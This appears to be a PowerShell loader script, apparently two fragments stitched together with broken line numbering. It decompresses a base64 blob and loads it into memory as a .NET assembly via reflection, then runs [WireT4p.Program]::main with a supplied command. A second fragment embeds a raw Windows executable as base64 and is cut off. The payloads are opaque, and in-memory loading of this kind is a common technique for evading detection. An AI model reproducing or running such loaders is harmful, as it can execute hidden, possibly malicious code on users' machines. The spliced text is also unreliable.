/AmhM1OZuu69fc93uDH4kgZqiNad7M3139PT1d5zp6+3r6OnN5DpOd28d7ega7e8ZPZPvHxvL9zKGTLuqb2V3aWxV54Gh4dpU9k1qAmgWv8BAJtrLa6fUlBnM4IpBx62dcaVXx4HBP38HW3TJ9PrLrtM71fV76n1YVH8TIQgH7+XsyNFdR1+90vZOu/f0zhfH0yf6V778W1znzoERTP2vjOTGiuOlkV3lT5YK5dxYZURVR0cxRy+jkwscjpRPf2LkSL6Qz1Xy1bjOibHTjF04P2vP57DvsnmDV0t3amd5cuhCXs6llWvK8nJpljw3s5a5g/Nn8FH4PwTZa9DHiHl4dbuPtnienqQt3r5egwPWW0Lwmwd75olHuDknf4qnt5wLC6Q/G56bHmeuLpD+8gLp31wg/VU0DT5nZ+s+MngpxDW6MpU7x+L5wqGNG3USY0mJ59cfINnXEDdIklyi/mWSLzXEPUXiLUEX8muSP+A66uLeJvkdCV9Ev5tkRsmAisvUxR1ZQE8ouVyX9pI659XFvUTSUpe+Kn+vS1OVN5X+z+vi/kXyp4Z00H2X5IaSX5JcV+f2qS10vt2gU03/7jzX85RK97baPkOyu07/0CL1uKvBxv3quUJ+P8U9WUTfILmpdP9CYqn4Bxufrf+Sx1Wlf7Uuzl6s7Lq0J5T+iSUpzNWPkfwV2w+ir/L41AfVVfpL+hzPzATyx+2z8vrqoC+G3DzI2D9+QTITyL+VVPUuXOSBr6ZaQFsViwWtDlokjT1DaVpCsylaMKTHjrOj7BRxiB2hvb3sIDtAx3uJu2kf4RX+3vtBG6fV8kbYro44a/SvxdguGXdcfrVeHXrBkNcZ+WbB2BqpFQw04AvTgvxCNhgsCMJ3eQEuw+TARHVYdG5Oe2SaTO2vh51G/8JWyevfKb+am52wFoR03bkJWf40Xa2aQ6tCP73nabXydsmv9kalHRO32HnrgCz6tnq94yyYEjSbvku+RlYF5bRQ+r21QbySHB6atWb+AV/0iYL09ssvv6ERDJBMSwuD4Tw2T5zLrsmBMcw6xexTxm6XdTGbT3BHxtRg8KQccKyGQWnrQZXfuLK1eq2lRW0O6iYYQhljU/KL5Pp6b6zLnnnSN9bo3PqEzg71RWxRDhxjisdiei9d4uxG3UP83vdf3bb9QrHgnlev02l65U67+dJoGcsOs+ljw7s7+tMu1qmP5QrlUj6bns5X0tvvjDZFm7ZVl1a4lEWpkk1PTZYGKqNn8/Sa21HEOuJK+cy5jtFycSBXKXae70q7RbVk7Xh9eZSZ69Yyq84iv8Um/KVdrJTOpu+erlvJ1ZmbmEhvDnI4NzlVOYelTUu0pzsomTQraimfOqaY2lJtOE8bL+Tvz1eWmOuWdC2X+nzUXPtyaX/+fL7gFsBsOlcJltdPpt2p8R2jmOOfTZ/JFSp5dVEyk83zWFM1ffMttm/bXKsEOt62uVqpdza2xB+F/2mY4PL3AK/0fdiGfBQ+jPAfxQnzagBoBAA="))
10 $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
11 $output = New-Object System.IO.MemoryStream
12 $decompressed.CopyTo( $output )
13 [byte[]] $byteOutArray = $output.ToArray()
14 $RAS = [System.Reflection.Assembly]::Load($byteOutArray)
15
16 # Setting a custom stdout to capture Console.WriteLine output
17 # https://stackoverflow.com/questions/33111014/redirecting-output-from-an-external-dll-in-powershell
18 $OldConsoleOut = [Console]::Out
19 $StringWriter = New-Object IO.StringWriter
20 [Console]::SetOut($StringWriter)
21
22 [WireT4p.Program]::main($Command.Split(" "))
23
24 # Restore the regular STDOUT object
25 [Console]::SetOut($OldConsoleOut)
26 $Results = $StringWriter.ToString()
27 $Results
28 }
55 [String]
66 $Command = "cmd"
77 )
8 $base64binary="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AAAKEwgrGhIIKE4AAAoTCREGEQlvTwAAChUuBRcTB94ZEggoUAAACi3d3g4SCP4WEgAAG28VAAAK3BEHLRAGEQYRBhYobQAABm87AAAKEQQXWBMEEQQJjmk/If///3LfAABwcusBAHAoZwAABgwIOekAAAAIDRYTBDjVAAAACREEmhMKct8AAHByawIAcBEKKEQAAApywQEAcChkAAAGEwsRCyhFAAAKOqAAAAARC3LhAQBwcuUBAHBvRgAAChMLEQty5wEAcG9HAAAKLBMRCxYRC29IAAAKF1lvSQAAChMLBhELb0oAAAotYhELKEsAAAosWRYTDAZvTAAACm9NAAAKEwgrGhIIKE4AAAoTDRELEQ1vTwAAChUuBRcTDN4ZEggoUAAACi3d3g4SCP4WEgAAG28VAAAK3BEMLRAGEQsRCxYobQAABm87AAAKEQQXWBMEEQQJjmk/If///wYqAAEcAAACACUBJ0wBDgAAAAACACQCJ0sCDgAAAAAbMAcAIAEAAAgAABFzUQAACgpzMAAACiVy9AIAcChSAAAKbzQAAAolcmQDAHAoUgAACm80AAAKb1MAAAoLOMwAAAASAShUAAAKctwDAHAWKFUAAAoMFg04qQAAAAgJmhMEEQQoVgAAChMFBnM4AAAKJXLgAwBwcuUBAHBvOgAACiVy6AMAcBEFbzoAAAolcvYDAHARBG86AAAKJXIABABwcuUBAHBvOgAACiVyHAQAcHKVAABwEQV+PQAABChpAAAGKDkAAApvOgAACiVyTAQAcHKVAABwEQR+PQAABChoAAAGKDkAAApvOgAACiVyeAQAcHLlAQBwbzoAAApvVwAACgkXWA0JCI5pP07///8SAShYAAAKOij////eDhIB/hYUAAAbbxUAAArcBioBEAAAAgAxAN8QAQ4AAAAAEzADABQAAAAJAAARAijnAAAGKA8AAAYKJQZvWQAACiobMAIAOQAAAAoAABESAHNRAAAKfVYAAAQoWgAACm9bAAAKEgAoEwAABt4TC3KFAABwByg1AAAKKCAAAAbeAAZ7VgAABCoAAAABEAAAAAAMABMfABMXAAABHgIoIAAACiobMAIAXQAAAAsAABECb1wAAApvXQAACgorDAZvXgAACgMoFAAABgZvFgAACi3s3goGLAYGbxUAAArcAm9fAAAKb2AAAAoLKwwHb2EA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EgAABAMHb4AAAAp+EgAABChyAAAKb0YAAAoQAAZvFgAACi263hEGdScAAAEMCCwGCG8VAAAK3AIqAAAAARAAAAIALABKdgARAAAAABswBAD4AAAAEAAAEQJveAAACgo4zwAAABIAKHkAAAoLBCwWEgEoegAACm92AAAKKEUAAAo6rgAAABIBKHoAAAoMEgEoewAACg1y5QEAcBMEBS03HI1lAAABJRZ+FQAABKIlF3JHIQBwoiUYCaIlGXJRIQBwoiUafhIAAASiJRsIoih0AAAKEwQrE3JHIQBwCXJRIQBwCChyAAAKEwQDb3gAAAoTBSsgEgUoeQAAChMGEQQSBih6AAAKEgYoewAACigjAAAGEwQSBSh8AAAKLdfeDhIF/hYYAAAbbxUAAArcEQQocAAAChIAKHwAAAo6Jf///94OEgD+FhgAABtvFQAACtwqARwAAAIAmQAtxgAOAAAAAAIABwDi6QAOAAAAABswBACOAAAAEQAAEQJvgQAAChYxfwJveAAACgorXRIAKHkAAAoLAywOEgEoegAACihFAAAKLUQcjWUAAAElFn4VAAAEoiUXckchAHCiJRgSASh7AAAKoiUZclEhAHCiJRp+EgAABKIlGxIBKHoAAAqiKHQAAAoocAAAChIAKHwAAAotmt4TEgD+FhgAABtvFQAACtwoHQAABioAAAEQAAACABAAanoADgAAAAAbMAIAQwAAABIAABECb4IAAAoWMTQCb4MAAAoKKxISACiEAAAKAyglAAAGKCEAAAYSACiFAAAKLeXeExIA/hYaAAAbbxUAAArcKB0AAAYqAAEQAAACABAAHy8ADgAAAAAbMAQAXwAAABMAABECLFZzOAAACgoCb4YAAAoLKyYSASiHAAAKDAYSAiiIAAAKcq4EAHASAiiJAAAKKEQAAApvigAAChIBKIsAAAot0d4OEgH+FhwAABtvFQAACtwGAyglAAAGKigdAAAGKgABEAAAAgAQADNDAA4AAAAAGzAEAEUAAAASAAARAm+CAAAKFjE2Am+DAAAKCisUEgAohAAACgMEBSgkAAAGKCEAAAYSACiFAAAKLePeExIA/hYaAAAbbxUAAArcKB0AAAYqAAAAARAAAAIAEAAhMQAOAAAAABswAgBJAAAAFAAAEQJvjAAAChYxOgJvUwAACgorGBIAKFQAAAoLckchAHAHKD8AAAoocAAAChIAKFgAAAot394TEgD+FhQAABtvFQAACtwoHQAABioAAAABEAAAAgAQACU1AA4AAAAAGzACAEoAAAAUAAARAm+MAAAKFjE7Am9TAAAKCisZEgAoVAAACgtyRyEAcAcoPwAACgMoIgAABhIAKFgAAAot3t4TEgD+FhQAABtvFQAACtwoHQAABioAAAEQAAACABAAJjYADgAAAAATMAEAyQAAAAAAAABy5QEAcIAFAAAEcuUBAHCABwAABHLlAQBwgAgAAARy5QEAcIAJAAAEcuUBAHCACgAABHLlAQBwgAsAAARy5QEAcIAMAAAEcuUBAHCADQAABHLlAQBwgA4AAARy5QEAcIAPAAAEcuUBAHCAEAAABHLlAQBwgBEAAARy5QEAcIASAAAEcuUBAHCAEwAABHLlAQBwgBQAAARy5QEAcIAVAAAEcuUBAHCAFgAABHLlAQBwgBcAAARy5QEAcIAYAAAEcuUBAHCAGQAABCoeAiggAAAKKgAAABMwAQDTAAAAAAAAAHJXIQBwgAUAAARyZyEAcIAGAAAEcnchAHCABwAABHJ3IQBwgAgAAARyhyEAcIAJAAAEcochAHCACgAABHKXIQBwgAsAAARyoyEAcIAMAAAEcrMhAHCADQAABHK/IQBwgA4AAARyzyEAcIAPAAAEct8hAHCAEAAABHLrIQBwgBEAAARy+yEAcIASAAAEfgcAAASAEwAABH4JAAAEgBQAAAR+BQAABIAVAAAEfgsAAASAFgAABH4QAAAEgBcAAAR+DQAABIAYAAAEfg8AAASAGQAABCoAGzAFAPcAAAAVAAARczAAAAoKcgUiAHAojQAACgsfC41lAAABJRZyEyIAcAcoRAAACqIlF3JDIgBwByhEAAAKoiUYcnMiAHAHKEQAAAqiJRlykyIAcAcoRAAACqIlGnLJIgBwByhEAAAKoiUbcvsiAHAHKEQAAAqiJRxyPyMAcAcoRAAACqIlHXKHIwBwByhEAAAKoiUecssjAHAHKEQAAAqiJR8Jch8kAHAHKEQAAAqiJR8KckckAHAHKEQAAAqiDBYNKxoICZoTBBEEKI4AAAosCAYRBG80AAAKCRdYDQkIjmky4N4aEwVybyQAcBEFb48AAAooRAAACiggAAAG3gAGKgABEAAAAAAGANXbABoXAAABGzADAJsAAAAWAAARczAAAAoKAiiQAAAKCwdymSQAcHLlAQBwb0YAAAoLB3KdJABwcuUBAHBvRgAACgtyoSQAcHN9AAAKB29+AAAKb38AAAoMKxgIbxkAAAp0JgAAAQ0GCW+AAAAKbzQAAAoIbxYAAAot4N4UCHUnAAABEwQRBCwHEQRvFQAACtzeGhMFcm8kAHARBW+PAAAKKEQAAAooIAAABt4ABioAARwAAAIARQAkaQAUAAAAAAAABgB5fwAaFwAAARswBQCSAAAAFQAAEXMwAAAKCnLRJABwKI0AAAoLGo1lAAABJRZy5yQAcAcoRAAACqIlF3IFJQBwByhEAAAKoiUYckUlAHAHKEQAAAqiJRlyaSUAcAcoRAAACqIMFg0rGggJmhMEEQQojgAACiwIBhEEbzQAAAoJF1gNCQiOaTLg3hoTBXJvJABwEQVvjwAACihEAAAKKCAAAAbeAAYqAAABEAAAAAAGAHB2ABoXAAABGzAFALwAAAAXAAARczAAAAoKcq8lAHAojQAACgsajWUAAAElFnLHJQBwByhEAAAKoiUXcu0lAHAHKEQAAAqiJRhyHyYAcAcoRAAACqIlGXJXJgBwByhEAAAKogwWDStECAmacm0mAHAocwAABm9TAAAKEwQrERIEKFQAAAoTBQYRBW80AAAKEgQoWAAACi3m3g4SBP4WFAAAG28VAAAK3AkXWA0JCI5pMrbeGhMGcm8kAHARBm+PAAAKKEQAAAoocAAACt4ABioBHAAAAgBoAB6GAA4AAAAAAAAGAJqgABoXAAABGzADAOUHAAAYAAARc5EAAAoKcocmAHAojQAACgsHcqcmAHBvZgAACi0MB3K/JgBwKD8AAAoLB3LjJgBwKD8AAAoLB3IjJwBwKHMAAAZvUwAACgw4XwcAABICKFQAAAoNCXIvJwBwb2YAAAotRAlyRScAcG9mAAAKLTcJcl8nAHBvZgAACi0qCXKFJwBwb2YAAAotHQlypScAcG9mAAAKLRAJcr8nAHBvZgAACjkGBwAAc5IAAAoTBBEECW+TAAAKEQRvlAAACnLVJwBwb2YAAAo54QYAAHLpJwBwCSiVAAAKcuUBAHATBXLlAQBwEwZy5QEAcBMHcuUBAHATCAlyLycAcG9mAAAKOQsBAAARBHL1JwBwb5YAAAoTCREEciUoAHBvlgAAChMKEQlvlwAACm+YAAAKEwsrYhELbxkAAAp0KgAAARMMEQxvmQAACnLVJwBwb5oAAAosCREMb5sAAAoTBREMb5kAAApyPygAcG+aAAAKLAkRDG+bAAAKEwYRDG+ZAAAKclEoAHBvmgAACiwJEQxvmwAAChMHEQtvFgAACi2V3hURC3UnAAABEw0RDSwHEQ1vFQAACtwRCm+XAAAKb5gAAAoTCysqEQtvGQAACnQqAAABEw4RDm+ZAAAKcmEoAHBvmgAACiwJEQ5vmwAAChMIEQtvFgAACi3N3f0EAAARC3UnAAABEw0RDSwHEQ1vFQAACtwJckUnAHBvZgAACjnvAAAAEQRycSgAcG+WAAAKEw8RBHKzKABwb5YAAAoTEBEPb5cAAApvmAAAChMLK0YRC28ZAAAKdCoAAAETERERb5kAAApy1ScAcG+aAAAKLAkREW+bAAAKEwUREW+ZAAAKct8oAHBvmgAACiwJERFvmwAAChMGEQtvFgAACi2x3hURC3UnAAABEw0RDSwHEQ1vFQAACtwREG+XAAAKb5gAAAoTCysqEQtvGQAACnQqAAABExIREm+ZAAAKcmEoAHBvmgAACiwJERJvmwAAChMIEQtvFgAACi3N3f4DAAARC3UnAAABEw0RDSwHEQ1vFQAACtwJcl8nAHBvZgAACjnvAAAAEQRy9ygAcG+WAAAKExMRBHI3KQBwb5YAAAoTFBETb5cAAApvmAAAChMLK0YRC28ZAAAKdCoAAAETFREVb5kAAApy1ScAcG+aAAAKLAkRFW+bAAAKEwURFW+ZAAAKcmEpAHBvmgAACiwJERVvmwAAChMGEQtvFgAACi2x3hURC3UnAAABEw0RDSwHEQ1vFQAACtwRFG+XAAAKb5gAAAoTCysqEQtvGQAACnQqAAABExYRFm+ZAAAKcmEoAHBvmgAACiwJERZvmwAAChMIEQtvFgAACi3N3f8CAAARC3UnAAABEw0RDSwHEQ1vFQAACtwJcoUnAHBvZgAACjnvAAAAEQRybSkAcG+WAAAKExcRBHKzKQBwb5YAAAoTGBEXb5cAAApvmAAAChMLK0YRC28ZAAAKdCoAAAETGREZb5kAAApy1ScAcG+aAAAKLAkRGW+bAAAKEwURGW+ZAAAKcuMpAHBvmgAACiwJERlvmwAAChMGEQtvFgAACi2x3hURC3UnAAABEw0RDSwHEQ1vFQAACtwRGG+XAAAKb5gAAAoTCysqEQtvGQAACnQqAAABExoRGm+ZAAAKcmEoAHBvmgAACiwJERpvmwAAChMIEQtvFgAACi3N3QACAAARC3UnAAABEw0RDSwHEQ1vFQAACtwJcqUnAHBvZgAACjnvAAAAEQRy9SkAcG+WAAAKExsRBHI7KgBwb5YAAAoTHBEbb5cAAApvmAAAChMLK0YRC28ZAAAKdCoAAAETHREdb5kAAApy1ScAcG+aAAAKLAkRHW+bAAAKEwURHW+ZAAAKcuMpAHBvmgAACiwJER1vmwAAChMGEQtvFgAACi2x3hURC3UnAAABEw0RDSwHEQ1vFQAACtwRHG+XAAAKb5gAAAoTCysqEQtvGQAACnQqAAABEx4RHm+ZAAAKcmEoAHBvmgAACiwJER5vmwAAChMIEQtvFgAACi3N3QEBAAARC3UnAAABEw0RDSwHEQ1vFQAACtwRBHJrKgBwb5YAAAoTHxEEcp0qAHBvlgAAChMgER9vlwAACm+YAAAKEwsrRhELbxkAAAp0KgAAARMhESFvmQAACnLVJwBwb5oAAAosCREhb5sAAAoTBREhb5kAAApy4ykAcG+aAAAKLAkRIW+bAAAKEwYRC28WAAAKLbHeFRELdScAAAETDRENLAcRDW8VAAAK3BEgb5cAAApvmAAAChMLKyoRC28ZAAAKdCoAAAETIhEib5kAAApyYSgAcG+aAAAKLAkRIm+bAAAKEwgRC28WAAAKLc3eFRELdScAAAETDRENLAcRDW8VAAAK3BEGcuUBAHBvmgAACiwHcrkqAHATBhEHcuUBAHBvmgAACiwHcrkqAHATBxEFcuUBAHBvmgAACiwJcrkqAHATBSsJEQUoMwAABhMFEQhy5QEAcG+aAAAKLAdyuSoAcBMIBglzOAAACm+cAAAKBglvnQAACnLJKgBwEQZvigAACgYJb50AAApy2yoAcBEHb4oAAAoGCW+dAAAKcusqAHARBW+KAAAKBglvnQAACnL/KgBwEQhvigAAChICKFgAAAo6lfj//94OEgL+FhQAABtvFQAACtzeGhMjcm8kAHARI2+PAAAKKEQAAAoocAAACt4ABioAAABBVAEAAgAAACsBAABvAAAAmgEAABUAAAAAAAAAAgAAAL0BAAA6AAAA9wEAABUAAAAAAAAAAgAAAEYCAABTAAAAmQIAABUAAAAAAAAAAgAAALwCAAA6AAAA9gIAABUAAAAAAAAAAgAAAEUDAABTAAAAmAMAABUAAAAAAAAAAgAAALsDAAA6AAAA9QMAABUAAAAAAAAAAgAAAEQEAABTAAAAlwQAABUAAAAAAAAAAgAAALoEAAA6AAAA9AQAABUAAAAAAAAAAgAAAEMFAABTAAAAlgUAABUAAAAAAAAAAgAAALkFAAA6AAAA8wUAABUAAAAAAAAAAgAAADIGAABTAAAAhQYAABUAAAAAAAAAAgAAAKgGAAA3AAAA3wYAABUAAAAAAAAAAgAAAEcAAAByBwAAuQcAAA4AAAAAAAAAAAAAAAYAAADDBwAAyQcAABoAAAAXAAABEzAEAL8AAAAZAAARAm9IAAAKGl0KBhdZRQMAAAACAAAAFQAAAC4AAAArQwIWAm9IAAAKF1lvSQAAChAAKzACcuUBAHAaBlkfPSieAAAKKD8AAAoQACsXAnLlAQBwGgZZHz0ongAACig/AAAKEAACKJ8AAAoLc6AAAAoMHyCNfQAAASXQUgAABCihAAAKDQhvogAACo5pjX0AAAETBAgRBG+jAAAKCAlvpAAACghvpQAACgcWB45pb6YAAAoTBSinAAAKEQVvqAAACioAGzACANYAAAAaAAARczAAAAoKcg8rAHALKHYAAAYsWHJXJgBwcq8lAHAojQAACihEAAAKByhzAAAGb1MAAAoMKx0SAihUAAAKDQkoqQAACiYJKKoAAAomBglvNAAAChICKFgAAAot2t5gEgL+FhQAABtvFQAACtxybSsAcCiNAAAKByhzAAAGb1MAAAoMKyESAihUAAAKEwQRBCipAAAKJhEEKKoAAAomBhEEbzQAAAoSAihYAAAKLdbeDhIC/hYUAAAbbxUAAArc3hUTBXKFAABwEQUoNQAACiggAAAG3gAGKgAAASgAAAIAMwAqXQAOAAAAAAIAgQAurwAOAAAAAAAABgC5vwAVFwAAARswCQBQAgAAGwAAEXNRAAAKCh8eCyirAAAKEwcSBwdlbCisAAAKDHKFKwBwc60AAAoorgAACiivAAAKDQlvsAAACnLPKwBwIAABAAAUCReNE